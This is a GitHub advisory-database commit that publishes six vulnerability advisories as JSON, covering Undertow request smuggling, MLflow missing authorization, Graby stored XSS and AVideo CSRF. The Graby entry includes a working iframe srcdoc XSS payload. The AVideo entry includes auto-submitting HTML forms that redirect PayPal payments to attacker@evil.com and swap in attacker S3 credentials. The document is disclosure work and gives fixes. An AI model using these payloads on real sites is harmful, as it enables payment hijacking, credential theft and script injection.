Skip to content

Commit ab46352

Browse files
advisory-database[bot]advisory-database[bot]
committed
Publish Advisories
GHSA-3gv6-g396-9v4r GHSA-3h6j-9x8m-rg3g GHSA-4wwr-7h7c-chqr GHSA-8v4x-mgvp-p658 GHSA-g6pg-52vf-843h GHSA-vqqj-9cmv-hx43
1 parent b4bc799 commit ab46352

6 files changed

Lines changed: 247 additions & 16 deletions

File tree

advisories/unreviewed/2026/03/GHSA-3gv6-g396-9v4r/GHSA-3gv6-g396-9v4r.json renamed to advisories/github-reviewed/2026/03/GHSA-3gv6-g396-9v4r/GHSA-3gv6-g396-9v4r.json

Lines changed: 29 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,40 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-3gv6-g396-9v4r",
4-
"modified": "2026-03-27T18:31:27Z",
4+
"modified": "2026-03-31T23:13:55Z",
55
"published": "2026-03-27T18:31:27Z",
66
"aliases": [
77
"CVE-2026-28367"
88
],
9+
"summary": "Undertow is Vulnerable to HTTP Request/Response Smuggling",
910
"details": "A flaw was found in Undertow. A remote attacker can exploit this vulnerability by sending `\\r\\r\\r` as a header block terminator. This can be used for request smuggling with certain proxy servers, such as older versions of Apache Traffic Server and Google Cloud Classic Application Load Balancer, potentially leading to unauthorized access or manipulation of web requests.",
1011
"severity": [
1112
{
1213
"type": "CVSS_V3",
1314
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N"
1415
}
1516
],
16-
"affected": [],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Maven",
21+
"name": "io.undertow:undertow-parent"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "2.3.23.Final"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
1738
"references": [
1839
{
1940
"type": "ADVISORY",
@@ -26,15 +47,19 @@
2647
{
2748
"type": "WEB",
2849
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2443260"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/undertow-io/undertow"
2954
}
3055
],
3156
"database_specific": {
3257
"cwe_ids": [
3358
"CWE-444"
3459
],
3560
"severity": "HIGH",
36-
"github_reviewed": false,
37-
"github_reviewed_at": null,
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-31T23:13:55Z",
3863
"nvd_published_at": "2026-03-27T17:16:27Z"
3964
}
4065
}

‎advisories/github-reviewed/2026/03/GHSA-3h6j-9x8m-rg3g/GHSA-3h6j-9x8m-rg3g.json‎

Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-3h6j-9x8m-rg3g",
4+
"modified": "2026-03-31T23:12:36Z",
5+
"published": "2026-03-31T23:12:36Z",
6+
"aliases": [],
7+
"summary": "Graby has stored XSS via iframe srcdoc Attribute in htmLawed Sanitization Config",
8+
"details": "## Summary\n\nGraby's `cleanupXss()` function configures htmLawed with conflicting settings: `safe=1` (which removes `<iframe>`) combined with `'elements' => '*+iframe-meta'` (which re-enables `<iframe>`). htmLawed does not sanitize the `srcdoc` attribute, allowing injection of arbitrary JavaScript that executes when the content is rendered via `|raw` in templates.\n\n## Root Cause\n\n**`src/Graby.php` lines 1038-1048:**\n```php\nhtmLawed($html, [\n 'safe' => 1, // removes <iframe>\n 'elements' => '*+iframe-meta', // re-adds <iframe>, overrides safe=1\n 'deny_attribute' => 'style', // srcdoc is NOT denied\n]);\n```\n\nThe `safe=1` and `+iframe` combination is a conflict: `safe` mode is designed to strip dangerous elements, but the elements override re-enables `<iframe>` without also blocking the dangerous `srcdoc` attribute.\n\n## Proof of Concept\n\nInput to `cleanupXss()`:\n```html\n<iframe srcdoc=\"&lt;script&gt;alert(document.domain)&lt;/script&gt;\"></iframe>\n```\n\nOutput (unchanged — htmLawed passes it through):\n```html\n<iframe srcdoc=\"&lt;script&gt;alert(document.domain)&lt;/script&gt;\"></iframe>\n```\n\nWhen rendered via `{{ content|raw }}` in a template, `srcdoc` executes in an `about:srcdoc` frame with the same origin as the page. **Confirmed via Puppeteer/Chromium headless: `alert(document.domain)` fires.**\n\nValidated on Wallabag (which uses Graby) via Docker: entry created via API with iframe-only content body triggers Readability failure → falls through to `cleanupXss()` path.\n\n## Impact\n\n- Stored XSS in any application rendering Graby-sanitized content via `|raw`\n- In Wallabag: affects both authenticated views and public share pages (unauthenticated)\n- No CSP headers in default Wallabag config — no secondary mitigation\n\n## Suggested Fix\n\nEither remove `+iframe` from the elements config to keep iframes blocked:\n```php\n'elements' => '*-iframe-meta',\n```\n\nOr explicitly deny the `srcdoc` attribute:\n```php\n'deny_attribute' => 'style srcdoc',\n```\n\n## Credit\n\nDiscovered by @tikket1, 2026-03-25. Redirected from wallabag/wallabag advisory by @j0k3r.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V4",
12+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Packagist",
19+
"name": "j0k3r/graby"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "2.5.1"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 2.5.0"
36+
}
37+
}
38+
],
39+
"references": [
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/j0k3r/graby/security/advisories/GHSA-3h6j-9x8m-rg3g"
43+
},
44+
{
45+
"type": "WEB",
46+
"url": "https://github.com/j0k3r/graby/commit/0295d828822f7a59c5751a8199973a4f965a99b0"
47+
},
48+
{
49+
"type": "PACKAGE",
50+
"url": "https://github.com/j0k3r/graby"
51+
},
52+
{
53+
"type": "WEB",
54+
"url": "https://github.com/j0k3r/graby/releases/tag/2.5.1"
55+
}
56+
],
57+
"database_specific": {
58+
"cwe_ids": [
59+
"CWE-79"
60+
],
61+
"severity": "LOW",
62+
"github_reviewed": true,
63+
"github_reviewed_at": "2026-03-31T23:12:36Z",
64+
"nvd_published_at": null
65+
}
66+
}

‎advisories/github-reviewed/2026/03/GHSA-4wwr-7h7c-chqr/GHSA-4wwr-7h7c-chqr.json‎

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-4wwr-7h7c-chqr",
4+
"modified": "2026-03-31T23:15:25Z",
5+
"published": "2026-03-31T23:15:25Z",
6+
"aliases": [
7+
"CVE-2026-34394"
8+
],
9+
"summary": "AVideo's CSRF on Admin Plugin Configuration Enables Payment Credential Hijacking",
10+
"details": "## Summary\n\nAVideo's admin plugin configuration endpoint (`admin/save.json.php`) lacks any CSRF token validation. There is no call to `isGlobalTokenValid()` or `verifyToken()` before processing the request. Combined with the application's explicit SameSite=None cookie policy, an attacker can forge cross-origin POST requests from a malicious page to overwrite arbitrary plugin settings on a victim administrator's session.\n\nBecause the `plugins` table is included in the `ignoreTableSecurityCheck()` array in `objects/Object.php`, standard table-level access controls are also bypassed. This allows a complete takeover of platform functionality by reconfiguring payment processors, authentication providers, cloud storage credentials, and more.\n\n## Details\n\nThe session cookie configuration in `objects/include_config.php` at line 135 explicitly weakens the default browser protections:\n\n```php\n// objects/include_config.php:135\nini_set('session.cookie_samesite', 'None');\n```\n\nThis means cookies are attached to all cross-origin requests, making CSRF attacks trivial.\n\nThe save endpoint in `admin/save.json.php` directly processes POST data without any token verification:\n\n```php\n// admin/save.json.php\n$pluginName = $_POST['pluginName'];\n$pluginValues = $_POST;\n// ...\n$pluginDO->$key = $pluginValues[$key];\n$p->setObject_data(json_encode($pluginDO));\n$p->save();\n```\n\nThe `plugins` table is explicitly exempted from security checks in `objects/Object.php` at line 529:\n\n```php\n// objects/Object.php:529\nstatic function ignoreTableSecurityCheck() {\n return ['plugins', /* ... other tables ... */];\n}\n```\n\nEven the ORM-level protections that exist for other tables do not apply to plugin configuration writes.\n\n## Proof of Concept\n\nHost the following HTML on an attacker-controlled domain. When a logged-in AVideo administrator visits this page, their PayPal receiver email is silently changed to the attacker's address:\n\n```html\n<!DOCTYPE html>\n<html>\n<head><title>Loading...</title></head>\n<body>\n<form id=\"csrf\" method=\"POST\" action=\"https://your-avideo-instance.com/admin/save.json.php\">\n <input type=\"hidden\" name=\"pluginName\" value=\"PayPerView\" />\n <input type=\"hidden\" name=\"paypalReceiverEmail\" value=\"attacker@evil.com\" />\n</form>\n<script>\n document.getElementById('csrf').submit();\n</script>\n</body>\n</html>\n```\n\nTo overwrite S3 storage credentials instead:\n\n```html\n<form id=\"csrf\" method=\"POST\" action=\"https://your-avideo-instance.com/admin/save.json.php\">\n <input type=\"hidden\" name=\"pluginName\" value=\"AWS_S3\" />\n <input type=\"hidden\" name=\"region\" value=\"us-east-1\" />\n <input type=\"hidden\" name=\"bucket\" value=\"attacker-bucket\" />\n <input type=\"hidden\" name=\"key\" value=\"ATTACKER_KEY_ID\" />\n <input type=\"hidden\" name=\"secret\" value=\"ATTACKER_SECRET\" />\n</form>\n```\n\nReproduction steps:\n\n1. Log in to AVideo as an administrator.\n2. In a separate browser tab, open the attacker's HTML page.\n3. The form auto-submits, overwriting the target plugin configuration.\n4. Verify the change by navigating to the plugin settings page in the admin panel.\n\n## Impact\n\nAn attacker can silently reconfigure any plugin on the AVideo platform by tricking an administrator into visiting a malicious page. Exploitable configurations include:\n\n- **Payment hijacking**: Change PayPal receiver email or Stripe keys to redirect all payments to the attacker.\n- **Credential theft**: Replace S3 bucket credentials so uploaded media is sent to attacker-controlled storage.\n- **Authentication bypass**: Modify LDAP/OAuth plugin settings to point at attacker-controlled identity providers.\n- **Backdoor installation**: Enable and configure plugins to introduce persistent access.\n\nThis is a full platform takeover with zero user interaction beyond a single page visit.\n\n- **CWE**: CWE-352 (Cross-Site Request Forgery)\n\n## Recommended Fix\n\nAdd CSRF token validation at `admin/save.json.php:10`, immediately after the admin check:\n\n```php\n// admin/save.json.php:10\nif (!isGlobalTokenValid()) {\n die('{\"error\":\"Invalid CSRF token\"}');\n}\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "wwbn/avideo"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "26.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-4wwr-7h7c-chqr"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34394"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/WWBN/AVideo"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-352"
55+
],
56+
"severity": "HIGH",
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2026-03-31T23:15:25Z",
59+
"nvd_published_at": "2026-03-31T21:16:30Z"
60+
}
61+
}

advisories/unreviewed/2026/03/GHSA-8v4x-mgvp-p658/GHSA-8v4x-mgvp-p658.json renamed to advisories/github-reviewed/2026/03/GHSA-8v4x-mgvp-p658/GHSA-8v4x-mgvp-p658.json

Lines changed: 29 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,40 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-8v4x-mgvp-p658",
4-
"modified": "2026-03-27T18:31:27Z",
4+
"modified": "2026-03-31T23:14:15Z",
55
"published": "2026-03-27T18:31:27Z",
66
"aliases": [
77
"CVE-2026-28368"
88
],
9+
"summary": "Undertow is Vulnerable to HTTP Request/Response Smuggling",
910
"details": "A flaw was found in Undertow. This vulnerability allows a remote attacker to construct specially crafted requests where header names are parsed differently by Undertow compared to upstream proxies. This discrepancy in header interpretation can be exploited to launch request smuggling attacks, potentially bypassing security controls and accessing unauthorized resources.",
1011
"severity": [
1112
{
1213
"type": "CVSS_V3",
1314
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N"
1415
}
1516
],
16-
"affected": [],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Maven",
21+
"name": "io.undertow:undertow-parent"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "2.3.23.Final"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
1738
"references": [
1839
{
1940
"type": "ADVISORY",
@@ -26,15 +47,19 @@
2647
{
2748
"type": "WEB",
2849
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2443261"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/undertow-io/undertow"
2954
}
3055
],
3156
"database_specific": {
3257
"cwe_ids": [
3358
"CWE-444"
3459
],
3560
"severity": "HIGH",
36-
"github_reviewed": false,
37-
"github_reviewed_at": null,
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-31T23:14:15Z",
3863
"nvd_published_at": "2026-03-27T17:16:27Z"
3964
}
4065
}

advisories/unreviewed/2026/03/GHSA-g6pg-52vf-843h/GHSA-g6pg-52vf-843h.json renamed to advisories/github-reviewed/2026/03/GHSA-g6pg-52vf-843h/GHSA-g6pg-52vf-843h.json

Lines changed: 33 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,24 +1,53 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-g6pg-52vf-843h",
4-
"modified": "2026-03-27T18:31:27Z",
4+
"modified": "2026-03-31T23:13:28Z",
55
"published": "2026-03-27T18:31:27Z",
66
"aliases": [
77
"CVE-2025-15381"
88
],
9+
"summary": "MLFlow allows Tracing + Assessments Access",
910
"details": "In the latest version of mlflow/mlflow, when the `basic-auth` app is enabled, tracing and assessment endpoints are not protected by permission validators. This allows any authenticated user, including those with `NO_PERMISSIONS` on the experiment, to read trace information and create assessments for traces they should not have access to. This vulnerability impacts confidentiality by exposing trace metadata and integrity by allowing unauthorized creation of assessments. Deployments using `mlflow server --app-name=basic-auth` are affected.",
1011
"severity": [
1112
{
1213
"type": "CVSS_V3",
1314
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
1415
}
1516
],
16-
"affected": [],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "mlflow"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "3.8.1"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
1738
"references": [
1839
{
1940
"type": "ADVISORY",
2041
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15381"
2142
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/mlflow/mlflow"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/mlflow/mlflow/blob/b569ebc74c14af593c326143bee2df44a5d59edf/mlflow/server/auth/__init__.py#L752"
50+
},
2251
{
2352
"type": "WEB",
2453
"url": "https://huntr.com/bounties/149fb2f9-ef4b-4136-a25c-20563451904c"
@@ -29,8 +58,8 @@
2958
"CWE-200"
3059
],
3160
"severity": "HIGH",
32-
"github_reviewed": false,
33-
"github_reviewed_at": null,
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-31T23:13:28Z",
3463
"nvd_published_at": "2026-03-27T17:16:26Z"
3564
}
3665
}

advisories/unreviewed/2026/03/GHSA-vqqj-9cmv-hx43/GHSA-vqqj-9cmv-hx43.json renamed to advisories/github-reviewed/2026/03/GHSA-vqqj-9cmv-hx43/GHSA-vqqj-9cmv-hx43.json

Lines changed: 29 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,40 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-vqqj-9cmv-hx43",
4-
"modified": "2026-03-27T18:31:27Z",
4+
"modified": "2026-03-31T23:14:40Z",
55
"published": "2026-03-27T18:31:27Z",
66
"aliases": [
77
"CVE-2026-28369"
88
],
9+
"summary": "Undertow is Vulnerable to HTTP Request/Response Smuggling",
910
"details": "A flaw was found in Undertow. When Undertow receives an HTTP request where the first header line starts with one or more spaces, it incorrectly processes the request by stripping these leading spaces. This behavior, which violates HTTP standards, can be exploited by a remote attacker to perform request smuggling. Request smuggling allows an attacker to bypass security mechanisms, access restricted information, or manipulate web caches, potentially leading to unauthorized actions or data exposure.",
1011
"severity": [
1112
{
1213
"type": "CVSS_V3",
1314
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N"
1415
}
1516
],
16-
"affected": [],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Maven",
21+
"name": "io.undertow:undertow-parent"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "2.3.23.Final"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
1738
"references": [
1839
{
1940
"type": "ADVISORY",
@@ -26,15 +47,19 @@
2647
{
2748
"type": "WEB",
2849
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2443262"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/undertow-io/undertow"
2954
}
3055
],
3156
"database_specific": {
3257
"cwe_ids": [
3358
"CWE-444"
3459
],
3560
"severity": "HIGH",
36-
"github_reviewed": false,
37-
"github_reviewed_at": null,
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-31T23:14:40Z",
3863
"nvd_published_at": "2026-03-27T17:16:28Z"
3964
}
4065
}

0 commit comments

Comments
 (0)